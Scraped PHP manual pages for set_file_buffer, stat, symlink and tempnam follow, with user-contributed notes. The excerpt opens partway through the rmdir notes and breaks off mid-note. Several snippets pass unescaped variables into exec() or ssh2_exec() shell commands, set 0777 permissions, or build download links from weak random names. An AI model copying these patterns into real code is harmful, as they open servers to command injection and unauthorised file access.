kevin at web-power dot co dot uk 02-Oct-2009 02:51
I had situation where the rmdir was returning warning message as within last loop it was already removed. So here is quick fix by adding is_dir to the DelTree routine below

<?php
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }

    if (is_dir($dir)) rmdir( $dir );

}
?>
bcairns at gmail dot com 03-Aug-2009 06:59
I wasn't having much luck with the recursive delete functions below, so I wrote my own:

<?php
// ensure $dir ends with a slash
function delTree($dir) {
    $files = glob( $dir . '*', GLOB_MARK );
    foreach( $files as $file ){
        if( substr( $file, -1 ) == '/' )
            delTree( $file );
        else
            unlink( $file );
    }
    rmdir( $dir );
}
?>

Simple.  Works.
asn at asn24 dot dk 07-Jul-2009 06:08
A patch to previous script to make sure rights for deletion is set:

<?php
//Delete folder function
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
    }
?>

[EDITOR NOTE: "Credits to erkethan at free dot fr." - thiago]
TrashF at taistelumarsu dot org 08-Aug-2008 12:21
In case you're trying to rmdir() and you keep getting 'Permission denied' errors, make sure you don't have the directory still open after using opendir(). Especially when writing recursive functions for deleting directories, make sure you have closedir() BEFORE rmdir().
rn at clubfl dot com 18-Dec-2007 07:16
I've noticed that when using this command on a windows platform you may encounter a permissions error which may seem unwarranted. This commonly occurs if you are or were using a program to edit something in the to be deleted folder and either the item is still in the folder or the program that was accessing the file in that folder is still running(causing it to hold onto the folder).

SO... if you get a permissions error and there shouldn't be an issue with folder permissions check if there are files in there then check if there is a program running that is or was using a file that was in that folder and kill it.


Alias of stream_set_write_buffer

  • « rmdir
  • stat »
  • PHP Manual
  • Filesystem Functions
  • Alias of stream_set_write_buffer

set_file_buffer

(PHP 4, PHP 5)

set_file_buffer — Alias of stream_set_write_buffer()

Description

This function is an alias of: stream_set_write_buffer().

User Contributed Notes

There are no user contributed notes for this page.


Gives information about a file

  • « set_file_buffer
  • symlink »
  • PHP Manual
  • Filesystem Functions
  • Gives information about a file

stat

(PHP 4, PHP 5)

stat — Gives information about a file

Description

array stat ( string $filename )

Gathers the statistics of the file named by filename. If filename is a symbolic link, statistics are from the file itself, not the symlink.

lstat() is identical to stat() except it would instead be based off the symlinks status.

Parameters

filename

Path to the file.

Return Values

stat() and fstat() result format
Numeric | Associative | Description
0 | dev | device number
1 | ino | inode number *
2 | mode | inode protection mode
3 | nlink | number of links
4 | uid | userid of owner *
5 | gid | groupid of owner *
6 | rdev | device type, if inode device
7 | size | size in bytes
8 | atime | time of last access (Unix timestamp)
9 | mtime | time of last modification (Unix timestamp)
10 | ctime | time of last inode change (Unix timestamp)
11 | blksize | blocksize of filesystem IO **
12 | blocks | number of 512-byte blocks allocated **
* On Windows this will always be 0.

** Only valid on systems supporting the st_blksize type - other systems (e.g. Windows) return -1.

In case of error, stat() returns FALSE.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Examples

Example #1 stat() example

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/*
 * Print file access time, this is the same
 * as calling fileatime()
 */
echo 'Access time: ' . $stat['atime'];

/*
 * Print file modification time, this is the
 * same as calling filemtime()
 */
echo 'Modification time: ' . $stat['mtime'];

/* Print the device number */
echo 'Device number: ' . $stat['dev'];
?>

Example #2 Using stat() information together with touch()

<?php
/* Get file stat */
$stat = stat('C:\php\php.exe');

/* Did we failed to get stat information? */
if (!$stat) {
    echo 'stat() call failed...';
} else {
    /*
     * We want the access time to be 1 week
     * after the current access time.
     */
    $atime = $stat['atime'] + 604800;

    /* Touch the file */
    if (!touch('some_file.txt', time(), $atime)) {
        echo 'Failed to touch file...';
    } else {
        echo 'touch() returned success...';
    }
}
?>

Notes

Note:

Note that time resolution may differ from one file system to another.

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • lstat() - Gives information about a file or symbolic link
  • fstat() - Gets information about a file using an open file pointer
  • filemtime() - Gets file modification time
  • filegroup() - Gets file group

User Contributed Notes

webmaster at askapache dot com 23-Jan-2014 02:16
On GNU/Linux you can retrieve the number of currently running processes on the machine by doing a stat for hard links on the '/proc' directory like so:

$ stat -c '%h' /proc
118

You can do the same thing in php by doing a stat on /proc and grabbing the [3] 'nlink' - number of links in the returned array.

Here is the function I'm using, it does a clearstatcache() when called more than once.

<?php

/**
 * Returns the number of running processes
 *
 * @link http://php.net/clearstatcache
 * @link http://php.net/stat  Description of stat syntax.
 * @author http://www.askapache.com/php/get-number-running-proccesses.html
 * @return int
 */
function get_process_count() {
  static $ver, $runs = 0;

  // check if php version supports clearstatcache params, but only check once
  if ( is_null( $ver ) )
    $ver = version_compare( PHP_VERSION, '5.3.0', '>=' );

  // Only call clearstatcache() if function called more than once */
  if ( $runs++ > 0 ) { // checks if $runs > 0, then increments $runs by one.

    // if php version is >= 5.3.0
    if ( $ver ) {
      clearstatcache( true, '/proc' );
    } else {
      // if php version is < 5.3.0
      clearstatcache();
    }
  }

  $stat = stat( '/proc' );

  // if stat succeeds and nlink value is present return it, otherwise return 0
  return ( ( false !== $stat && isset( $stat[3] ) ) ? $stat[3] : 0 );
}

?>

Example #1 get_process_count() example

<?php
$num_procs = get_process_count();
var_dump( $num_procs );
?>

The above example will output:

int(118)

Which is the number of processes that were running.
digitalaudiorock at hotmail dot com 12-Dec-2008 05:23
Regarding the stat() on files larger than 2GB on 32 bit systems not working, note that the behavior appears to differ between Linux and Windows.  Under Windows there's so way to know whether or not this failed.

It's been my experience that under Linux, performing a stat() on files that are too large for the integer size generates a warning and returns false.  However under Windows it silently truncates the high order bits of the size resulting in an incorrect number.  The only way you'd ever know it failed is in the event that the truncation happened to leave the sign bit on resulting in a negative size.  That is, there is _no_ reliable way to know it failed.

This is true of filesize() as well.

Tom
webmaster at askapache dot com 26-Nov-2008 10:20
This is a souped up 'stat' function based on
many user-submitted code snippets and
@ http://www.askapache.com/security/chmod-stat.html

Give it a filename, and it returns an array like stat.

<?php

function alt_stat($file) {

 clearstatcache();
 $ss=@stat($file);
 if(!$ss) return false; //Couldnt stat file

 $ts=array(
  0140000=>'ssocket',
  0120000=>'llink',
  0100000=>'-file',
  0060000=>'bblock',
  0040000=>'ddir',
  0020000=>'cchar',
  0010000=>'pfifo'
 );

 $p=$ss['mode'];
 $t=decoct($ss['mode'] & 0170000); // File Encoding Bit

 $str =(array_key_exists(octdec($t),$ts))?$ts[octdec($t)]{0}:'u';
 $str.=(($p&0x0100)?'r':'-').(($p&0x0080)?'w':'-');
 $str.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));
 $str.=(($p&0x0020)?'r':'-').(($p&0x0010)?'w':'-');
 $str.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));
 $str.=(($p&0x0004)?'r':'-').(($p&0x0002)?'w':'-');
 $str.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));

 $s=array(
 'perms'=>array(
  'umask'=>sprintf("%04o",@umask()),
  'human'=>$str,
  'octal1'=>sprintf("%o", ($ss['mode'] & 000777)),
  'octal2'=>sprintf("0%o", 0777 & $p),
  'decimal'=>sprintf("%04o", $p),
  'fileperms'=>@fileperms($file),
  'mode1'=>$p,
  'mode2'=>$ss['mode']),

 'owner'=>array(
  'fileowner'=>$ss['uid'],
  'filegroup'=>$ss['gid'],
  'owner'=>
  (function_exists('posix_getpwuid'))?
  @posix_getpwuid($ss['uid']):'',
  'group'=>
  (function_exists('posix_getgrgid'))?
  @posix_getgrgid($ss['gid']):''
  ),

 'file'=>array(
  'filename'=>$file,
  'realpath'=>(@realpath($file) != $file) ? @realpath($file) : '',
  'dirname'=>@dirname($file),
  'basename'=>@basename($file)
  ),

 'filetype'=>array(
  'type'=>substr($ts[octdec($t)],1),
  'type_octal'=>sprintf("%07o", octdec($t)),
  'is_file'=>@is_file($file),
  'is_dir'=>@is_dir($file),
  'is_link'=>@is_link($file),
  'is_readable'=> @is_readable($file),
  'is_writable'=> @is_writable($file)
  ),

 'device'=>array(
  'device'=>$ss['dev'], //Device
  'device_number'=>$ss['rdev'], //Device number, if device.
  'inode'=>$ss['ino'], //File serial number
  'link_count'=>$ss['nlink'], //link count
  'link_to'=>($s['type']=='link') ? @readlink($file) : ''
  ),

 'size'=>array(
  'size'=>$ss['size'], //Size of file, in bytes.
  'blocks'=>$ss['blocks'], //Number 512-byte blocks allocated
  'block_size'=> $ss['blksize'] //Optimal block size for I/O.
  ),

 'time'=>array(
  'mtime'=>$ss['mtime'], //Time of last modification
  'atime'=>$ss['atime'], //Time of last access.
  'ctime'=>$ss['ctime'], //Time of last status change
  'accessed'=>@date('Y M D H:i:s',$ss['atime']),
  'modified'=>@date('Y M D H:i:s',$ss['mtime']),
  'created'=>@date('Y M D H:i:s',$ss['ctime'])
  ),
 );

 clearstatcache();
 return $s;
}

?>

|=---------[ Example Output ]

Array(
[perms] => Array
  (
  [umask] => 0022
  [human] => -rw-r--r--
  [octal1] => 644
  [octal2] => 0644
  [decimal] => 100644
  [fileperms] => 33188
  [mode1] => 33188
  [mode2] => 33188
  )

[filetype] => Array
  (
  [type] => file
  [type_octal] => 0100000
  [is_file] => 1
  [is_dir] =>
  [is_link] =>
  [is_readable] => 1
  [is_writable] => 1
  )

[owner] => Array
  (
  [fileowner] => 035483
  [filegroup] => 23472
  [owner_name] => askapache
  [group_name] => grp22558
  )

[file] => Array
  (
  [filename] => /home/askapache/askapache-stat/htdocs/ok/g.php
  [realpath] =>
  [dirname] => /home/askapache/askapache-stat/htdocs/ok
  [basename] => g.php
  )

[device] => Array
  (
  [device] => 25
  [device_number] => 0
  [inode] => 92455020
  [link_count] => 1
  [link_to] =>
  )

[size] => Array
  (
  [size] => 2652
  [blocks] => 8
  [block_size] => 8192
  )

[time] => Array
  (
  [mtime] => 1227685253
  [atime] => 1227685138
  [ctime] => 1227685253
  [accessed] => 2008 Nov Tue 23:38:58
  [modified] => 2008 Nov Tue 23:40:53
  [created] => 2008 Nov Tue 23:40:53
  )
)
antonixyz at gmx dot net 21-Jul-2008 11:19
<?php
$stat = stat($filepath);
$mode = $stat[2];
?>
is identical to:
<?php $mode = fileperms($filepath); ?>

at least on my linux box.
mail4rico at gmail dot com 24-Apr-2008 08:19
In response to the note whose first line is:
Re note posted by "admin at smitelli dot com"

I believe you have the conversion backwards. You should add an hour to filemtime if the system is in DST and the file is not. Conversely, you should subtract an hour if the file time is DST and the current OS time is not.

Here's a simplified, corrected version:
<?php
    function getmodtime($file) { //returns the time a file was modified.
        $mtime = filemtime($file);
        //date('I') returns 1 if DST is on and 0 if off.
        $diff = date('I')-date('I', $mtime);
        //diff =  0 if file-time and os-time are both in the same DST setting
        //diff =  1 if os is DST and file is not
        //diff = -1 if file is DST and os is not
        return $mtime + $diff*3600;
    }
?>
Here's a test:
<?php
    //create two dummy files:
    $file0 = 'file1.txt';
    $file1 = 'file2.txt';
    file_put_contents($file0, '');
    file_put_contents($file1, '');

    $time0=strtotime('Jan 1 2008 10:00'); echo 'Date0 (ST): ' . date(DATE_COOKIE, $time0)."\n";
    $time1=strtotime('Aug 1 2008 10:00'); echo 'Date1 (DT): ' . date(DATE_COOKIE, $time1)."\n";
    touch($file0, $time0); //set file0 to Winter (Non-DST)
    touch($file1, $time1); //set file1 to Summer (DST)

    $ftime0 = filemtime($file0);
    $ftime1 = filemtime($file1);
    echo "\nUncorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //if your system adjusts for DST, then _one_ of the above should be 3600 or -3600, depending on the time of year

    $ftime0 = getmodtime($file0); //use filemtime correction
    $ftime1 = getmodtime($file1); //use filemtime correction
    echo "\nCorrected: \n";
    echo 'File 0: ' . ($ftime0-$time0) ."\n";
    echo 'File 1: ' . ($ftime1-$time1) ."\n";
    //both of the corrected values output should be 0.
?>

Output:
------------------------------
(when run in summer)
------------------------------
Date0 (ST): Tuesday, 01-Jan-08 10:00:00 EST
Date1 (DT): Friday, 01-Aug-08 10:00:00 EDT

Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: 0
File 1: 0
------------------------------
(when run in winter--dates omitted)
------------------------------
Uncorrected:
File 0: 0
File 1: 3600

Corrected:
File 0: 0
File 1: 0

In response to Re note posted by "admin at smitelli dot com",  your version below gives the following output when substituted into my test:
------------------------------
(when run in summer--dates omitted)
------------------------------
Uncorrected:
File 0: -3600
File 1: 0

Corrected:
File 0: -7200
File 1: 0
------------------------------
You can see that the operation is the opposite of what it should be.
Hellhound 03-Mar-2008 11:16
To ignore index number or name specifics.. use:

list($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks)
         = lstat($directory_element);
JulieC 31-Jan-2007 04:21
The dir_size function provided by "marting.dc AT gmail.com" works great, except the $mas variable is not initialized.  Add:

   $mas = 0;

before the while() loop.
16-May-2006 07:10
Re note posted by "admin at smitelli dot com"

I'm not sure how that can work all year round since you have to modify both opposing inside and outside DST based on the actual files themselves, as well as the current DST setting for the system.

e.g. using filemtime, same thing for stat.

<?php

$mtime = filemtime($file);

if (date('I') == 1) {
    // Win DST is enabled, adjust standard time
    // files back to 'real' file UTC.
    if (date('I', $mtime) == 0) {
        $mtime -= 3600;
    }
} else {
    // Win DST is disabled, adjust daylight time
    // files forward to 'real' file UTC.
    if (date('I', $mtime) == 1) {
        $mtime += 3600;
    }
}

echo gmdate('Y-m-d H:i:s', $mtime);

?>

Just another example of why 'not' to use windows in a server room.
marting.dc AT gmail.com 29-Jan-2006 02:08
If you want to know a directory size, this function will help you:

<?php
function dir_size($dir)
{
    $handle = opendir($dir);

    while ($file = readdir($handle)) {
        if ($file != '..' && $file != '.' && !is_dir($dir.'/'.$file)) {
            $mas += filesize($dir.'/'.$file);
            } else if (is_dir($dir.'/'.$file) && $file != '..' && $file != '.') {
            $mas += dir_size($dir.'/'.$file);
        }
    }
    return $mas;
}
echo dir_size('DIRECTORIO').' Bytes';
?>
admin at smitelli dot com 03-Nov-2005 08:27
There's an important (yet little-known) problem with file dates on Windows and Daylight Savings. This affects the 'atime' and 'mtime' elements returned by stat(), and it also affects other filesystem-related functions such as fileatime() and filemtime().

During the winter months (when Daylight Savings isn't in effect), Windows will report a certain timestamp for a given file. However, when summer comes and Daylight Savings starts, Windows will report a DIFFERENT timestamp! Even if the file hasn't been altered at all, Windows will shift every timestamp it reads forward one full hour during Daylight Savings.

This all stems from the fact that M$ decided to use a hackneyed method of tracking file dates to make sure there are no ambiguous times during the "repeated hour" when DST ends in October, maintain compatibility with older FAT partitions, etc. An excellent description of what/why this is can be found at http://www.codeproject.com/datetime/dstbugs.asp

This is noteworthy because *nix platforms don't have this problem. This could introduce some hard-to-track bugs if you're trying to move scripts that track file timestamps between platforms.

I spent a fair amount of time trying to debug one of my own scripts that was suffering from this problem. I was storing file modification times in a MySQL table, then using that information to see which files had been altered since the last run of the script. After each Daylight Savings change, every single file the script saw was considered "changed" since the last run, since all the timestamps were off by +/- 3600 seconds.

This one-liner is probably one of the most incorrect fixes that could ever be devised, but it's worked flawlessly in production-grade environments... Assuming $file_date is a Unix timestamp you've just read from a file:

<?php
    if (date('I') == 1) $file_date -= 3600;
?>

That will ensure that the timestamp you're working with is always consistently reported, regardless of whether the machine is in Daylight Savings or not.
com dot gmail at algofoogle 22-Jul-2005 03:06
Re note posted by "salisbm at hotmail dot com":

S_IFDIR is not a single-bit flag. It is a constant that relies on the "S_IFMT" bitmask. This bitmask should be applied to the "mode" parameter before comparing with any of the other "S_IF..." constants, as indicated by stat.h:

#define S_ISDIR(m)  (((m) & S_IFMT) == S_IFDIR)

That is, this approach is incorrect:

<?php
define('S_IFDIR',040000);
if ($mode & S_IFDIR)
{
  /*
    incorrect!
    format could be S_IFDIR, but also
    S_IFBLK, S_IFSOCK, or S_IFWHT.
  */
}
?>

...and should instead be:

<?php
define('S_IFMT',0170000);
define('S_IFDIR',040000);
if (S_IFDIR == ($mode & S_IFMT)) {  /* ... */  }
?>

As pointed out by "svend at svendtofte dot com", however, there is also the "is_dir" function for this purpose, along with "is_file" and "is_link" to cover the most common format types...
mao at nospam dot com 07-Jun-2005 02:53
If you have ftp (and the related sftp) protocols disabled on your remote server, it can be hard figuring out how to 'stat' a remote file. The following works for me:

<?php

$conn = ssh2_connect($host, 22);
ssh2_auth_password($conn, $user, $password);
$stream = ssh2_exec($conn, "stat $fileName > $remotedest");
ssh2_scp_recv($conn, $remotedest, $localdest);
$farray = file($localdest);
print_r($farray);
?>
11-Nov-2004 04:41
If the 2GB limit is driving you crazy, you can use this complete hack.  use in place of filesize()

function file_size($file) {
  $size = filesize($file);
  if ( $size == 0)
    $size = exec("ls -l $file | awk '{print $5}'");
  return $size;
}
svend at svendtofte dot com 10-Oct-2004 01:31
To the note of how you can figure out if a file is a folder or not, there is also the handy "is_dir" function.
salisbm at hotmail dot com 12-Aug-2003 02:21
I was curious how I could tell if a file was a directory... so I found on http://www.hmug.org/man/2/stat.html the following information about the mode bits:
#define S_IFMT 0170000           /* type of file */
#define        S_IFIFO  0010000  /* named pipe (fifo) */
#define        S_IFCHR  0020000  /* character special */
#define        S_IFDIR  0040000  /* directory */
#define        S_IFBLK  0060000  /* block special */
#define        S_IFREG  0100000  /* regular */
#define        S_IFLNK  0120000  /* symbolic link */
#define        S_IFSOCK 0140000  /* socket */
#define        S_IFWHT  0160000  /* whiteout */
#define S_ISUID 0004000  /* set user id on execution */
#define S_ISGID 0002000  /* set group id on execution */
#define S_ISVTX 0001000  /* save swapped text even after use */
#define S_IRUSR 0000400  /* read permission, owner */
#define S_IWUSR 0000200  /* write permission, owner */
#define S_IXUSR 0000100  /* execute/search permission, owner */

Note that these numbers are in octal format.  Then, to check to see if the file is a directory, after calling fstat, I do:

if ($fstats[mode] & 040000)
  ... this must be a directory
ian at eiloart dot com 23-Jul-1999 05:52
Here's what the UNIX man page on stat has to say about the difference between a file change and  a file modification:

st_mtime  Time when data was last modified.  Changed by  the following  functions:   creat(),  mknod(), pipe(), utime(), and write(2).

st_ctime  Time when file status was last  changed.   Changed by  the  following  functions: chmod(), chown(), creat(), link(2), mknod(), pipe(), unlink(2), utime(), and write().

So a modification is a change in the data, whereas a change also happens if you modify file permissions and so on.


Creates a symbolic link

  • « stat
  • tempnam »
  • PHP Manual
  • Filesystem Functions
  • Creates a symbolic link

symlink

(PHP 4, PHP 5)

symlink — Creates a symbolic link

Description

bool symlink ( string $target , string $link )

symlink() creates a symbolic link to the existing target with the specified name link.

Parameters

target

Target of the link.

link

The link name.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms (Vista, Server 2008 or greater).

Examples

Example #1 Create a symbolic link

<?php
$target = 'uploads.php';
$link = 'uploads';
symlink($target, $link);

echo readlink($link);
?>

Notes

Note: Windows users should note that this function will only work if the system you run PHP from is Windows Vista/Windows Server 2008 or newer. Windows versions prior to that does not support symbolic links.

See Also

  • link() - Create a hard link
  • readlink() - Returns the target of a symbolic link
  • linkinfo() - Gets information about a link

User Contributed Notes

lingtalfi 28-Aug-2014 06:09
If symlink seems not to work correctly, try to define the target argument as an absolute path.
Coding on MacOsX PHP5.5, I noticed that in some cases using an absolute path on the target argument was the only way I could have a proper symlink created.
zeomniscient 04-Jun-2014 10:21
Context:  php cli on windows OS.

Do not forget to start the console with "Run as Administrator" else symlink will return 'false' and raise the following error :
Warning: symlink(): Cannot create symlink, error code(1314)
kokuswolf at pireality dot de 17-Aug-2012 07:59
On Linux with PHP 5.4.5 i run into a strange Problem when creating a symlink. My script tests with is_link() and is_file() for a symlink and if its not exists, creating this with symlink. So far no problems. But if i manual delete this symlink and this script runs short after, the script does not found the symlink as aspected. But the script fails when creating the symlink with: "symlink(): File exists"

<?php
if(is_link($symfile) and is_file($symfile)) echo 'yah!';
else symlink($orginalfile, $symfile); // error :(
?>

clearstatcache() does not work, as aspected, because is_link/is_file already works.

But I figured out a short workaround with using rename:

<?php
if(is_link($symfile) and is_file($symfile)) echo 'yah!';
else{
    $randfile = 'anywhere_with_rights/random_name';
    symlink($orginalfile, $randfile);
    rename($randfile, $symfile);
    // voilà ... no error
    }
?>
Calin 02-Aug-2012 03:06
On IIS (Internet Information Services), you need to set permissions to allow the creation of symbolic links.

Go to Local Security Policy -> Local Policies -> User Rights Assignment and right click on Create symbolic links -> Properties -> Add User or Group and add the "IUSR" user, which should be the user associated with IIS.
A restart may be required.

If this doesn't work, go to IIS Manager -> Authentication -> select Anonymous Authentication -> Edit and enter your current logged in user, which should be an administrator.
Hit OK and now the symlink() function in php should work fine.
http://www.zentralplan.de/kontakt 23-Jul-2011 07:11
Remember to use absolute paths in both $target and $link.
Use $_SERVER['DOCUMENT_ROOT'] plus your desired paths.
reddy1042001 at yahoo dot co dot in 28-Apr-2010 01:33
Symlinks on windows  are created by Symlink() which accept only absolute paths  but not relative paths .relative paths on windows are not supported for symlinks
Porjo 12-Nov-2009 04:36
Keep in mind when using a shared filesystem such as NFS, that you probably don't want to create a symbolic link with absolute paths e.g.

On Server1 you are running a PHP script that needs to create a symbolic link called widget2 which links to widget1 inside an NFS share mounted on your localhost at /mnt/nfs/widgets

On Server2 this same NFS share is mounted under /usr/local/widgets

If you used absolute paths on Server1, then Server2 would try to reference /mnt/nfs/widgets/widget1 which it won't be able to find...

You need to cd into the directory first, then create the link - that way the link will be relative. Unless you run the PHP script from the same directory where you'll be creating the symbolic links, then you can't use symlink(). Use exec() instead as follows:

<?php

exec("cd <nfs mount path>; ln -s <target> <link_name>");

?>
ewering at gmail dot com 14-Nov-2007 10:01
This function sometimes just fails to work for no appearent reason, returning FALSE and not creating a symlink. Doing the same with exec('ln -s source dest') works perfectly. I recommend using the latter.
12-Apr-2007 03:44
Um, duh... that's all I gotta say about by previous note. Please delete it. :)

Windows Vista has its own symlink program now (mklink). Hopefully future versions of PHP for Windows will have this function put it?

Anyway, this will work on Vista (assuming your PHP user has the proper permissions):
<?php
define('SYMLINK_FILE', 0);
define('SYMLINK_DIR', 1);
define('SYMLINK_JUNCTION', 2);
function symlink ($target, $link, $flag = SYMLINK_FILE) {
    switch ($flag) {
       case SYMLINK_DIR: $pswitch = '/d'; break;
       case SYMLINK_JUNCTION: $pswitch = '/j'; break;
       case SYMLINK_FILE:
       default: $pswitch = ''; break;
    }
    // Change / to \ because it will break otherwise.
    $target = str_replace('/', '\\', $target);
    $link = str_replace('/', '\\', $link);
    return exec('mklink ' . $pswitch . ' "' . $link . '" "' . $target . '"');
}
?>
Numien 23-Mar-2007 11:51
The one difference to using symlinks for controlled file access vs. readfile() is that the HTTP server will handle content-type of the symlink automatically.

If you always want it to be downloaded, this can be a negative point. However, if you want a file of non-predefined type to be viewable in the browser, this can be a real asset.

Of course, you can use fileinfo/mime-magic to do that, but those require a module which isn't always available on shared hosting.
04-Nov-2006 01:33
<?

/**
 * A function to emulate symbolic links on Windows.
 * Uses the junction utility available at:
 * http://www.sysinternals.com
 * Note that this will only work on NTFS volumes.
 *
 * The syntax of the junction utility is:
 * junction <junction directory> <junction target>
 *
 * Note that the parameter order of the Junction command
 * is the reverse of the symlink function!
 *
 * @param string $target
 * @param string $link
 */
function _symlink( $target, $link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction "' . $link . '" "' . $target . '"');
  } else {
    symlink($target,$link);
  }
}

function _unlink($link ) {
  if ($_SERVER['WINDIR'] || $_SERVER['windir']) {
    exec('junction -d "' . $link . '"');
  } else {
    unlink($link);
  }
}
?>
anything at the domain williamfrantz.com 15-Feb-2006 02:15
Olszewski_marek makes a good suggestion, but the readfile() function can also be used to obscure file downloads from end users.

/* Setup the file that will be sent */
$downloadDir = "some/secret/directory/";
$file = "theFileName.dat";

/* Required for IE, otherwise Content-disposition is ignored */
if(ini_get('zlib.output_compression')) ini_set('zlib.output_compression', 'Off');

/* Output HTTP headers that force "Save As" dialog */
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false);
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\\"$file\\";");
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".@filesize($downloadDir.$file));

/* Prevent the script from timing out for large files */
set_time_limit(0);

/* Send the entire file using @ to ignore all errors */
@readfile($downloadDir.$file);

/* Exit immediately so no garbage follows the file contents */
exit;
29-Dec-2005 04:21
Olszewski seems pretty good, but just to boost the security a bit, the fifth line of his script should read
<?
...
    $q = rand(1,26);
...
?>

instead of rand(1,24).
contact at tcknetwork dot com 11-Sep-2005 05:04
To make your code portable on unix AND win32, do the following
1. Download http://www.dynawell.com/reskit/microsoft/win2000/linkd.zip
2. Unzip, put linkd.exe in C:\Windows\System32 or C:\WINNT\System32
3. Include in your code the following
<?
function _syslink($t /*target*/ ,$l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$t." ".$p.$l);
 } else syslink($t,$l);
}
function _unlink($l /*link*/ ) {
 if ($_SERVER["WINDIR"]) {
  $p=dirname($_SERVER["SCRIPT_FILENAME"])."/";
  exec("linkd ".$p.$l." /D");
 } else unlink($l);
}
?>
4. Enjoy
_symlink(TARGET,LINK) works like symlink() on *nix
_unlink(LINK) to delete properly the link created
aircha at cix dot co dot uk 15-Mar-2005 05:49
Olszewski's method of creating downloadable links on the fly is pretty good.

I use a different technique under Apache where if you want a file, you might use a url like:

mydomain.com/files/mysecretfile.doc

But in fact Apache redirects this to a script with a url like:

mydomain.com/utilities/downloadfile.php?filename=mysecretfile.doc

(The browser address bar will still show the first url).

The script downloadfile.php can then handle all the mucky stuff like checking session variables to see if someone is logged on, whether they have access to mysecretfile.doc, and if you want to encrypt before download.

An advantage of this is that the php code to achieve the equivalent of Olszewski's is shorter, so might execute faster. But more importantly, a casual hacker might think all he has to do is find myverysecurefile.doc under the /home/user/public_html/files/mysecretfile.doc, or copy the url - but there's nothing there! He won't find it or get an Apache error page.
olszewski_marek at yahoo dot com 04-Dec-2000 05:54
Here is a simple way to control who downloads your files...

You will have to set: $filename, $downloaddir, $safedir and $downloadURL.

Basically $filename is the name of a file, $downloaddir is any dir on your server, $safedir is a dir that is not accessible by a browser that contains a file named $filename and $downloadURL is the URL equivalent of your $downloaddir.

The way this works is when a user wants to download a file, a randomly named dir is created in the $downloaddir, and a symbolic link is created to the file being requested.  The browser is then redirected to the new link and the download begins.

The code also deletes any past symbolic links created by any past users before creating one for itself.  This in effect leaves only one symbolic link at a time and prevents past users from downloading the file again without going through this script.  There appears to be no problem if a symbolic link is deleted while another person is downloading from that link.

This is not too great if not many people download the file since the symbolic link will not be deleted until another person downloads the same file.

Anyway enjoy:

<?php
$letters = 'abcdefghijklmnopqrstuvwxyz';
srand((double) microtime() * 1000000);
$string = '';
for ($i = 1; $i <= rand(4,12); $i++) {
   $q = rand(1,24);
   $string = $string . $letters[$q];
}
$handle = opendir($downloaddir);
while ($dir = readdir($handle)) {
   if (is_dir($downloaddir . $dir)){
      if ($dir != "." && $dir != ".."){
         @unlink($downloaddir . $dir . "/" . $filename);
         @rmdir($downloaddir . $dir);
      }
   }
}
closedir($handle);
mkdir($downloaddir . $string, 0777);
symlink($safedir . $filename, $downloaddir . $string . "/" . $filename);
Header("Location: " . $downloadURL . $string . "/" . $filename);
?>


Create file with unique file name

  • « symlink
  • tmpfile »
  • PHP Manual
  • Filesystem Functions
  • Create file with unique file name

tempnam

(PHP 4, PHP 5)

tempnam — Create file with unique file name

Description

string tempnam ( string $dir , string $prefix )

Creates a file with a unique filename, with access permission set to 0600, in the specified directory. If the directory does not exist, tempnam() may generate a file in the system's temporary directory, and return the full path to that file, including its name.

Parameters

dir

The directory where the temporary filename will be created.

prefix

The prefix of the generated temporary filename.

Note: Windows uses only the first three characters of prefix.

Return Values

Returns the new temporary filename (with path), or FALSE on failure.

Changelog

Version | Description
4.0.3 | This function's behavior changed in 4.0.3. The temporary file is also created to avoid a race condition where the file might appear in the filesystem between the time the string was generated and before the script gets around to creating the file. Note, that you need to remove the file in case you need it no more, it is not done automatically.

Examples

Example #1 tempnam() example

<?php
$tmpfname = tempnam("/tmp", "FOO");

$handle = fopen($tmpfname, "w");
fwrite($handle, "writing to tempfile");
fclose($handle);

// do here something

unlink($tmpfname);
?>

Notes

Note: If PHP cannot create a file in the specified dir parameter, it falls back on the system default. On NTFS this also happens if the specified dir contains more than 65534 files.

See Also

  • tmpfile() - Creates a temporary file
  • sys_get_temp_dir() - Returns directory path used for temporary files
  • unlink() - Deletes a file

User Contributed Notes

wapmorgan 27-May-2014 02:54
Notice that tempnam will return NULL (not false) if the second parameter <prefix> isn't transferred:
<?php
var_dump(tempnam(sys_get_temp_dir())); // NULL
?>
also the warning will be generated:
Warning:  tempnam() expects exactly 2 parameters, 1 given in php shell code ...
divinity76+yaoiporn at gmail dot com 29-Sep-2013 11:00
if you don't want to take care of deleting the file yourself, and you don't need a custom prefix, you can use
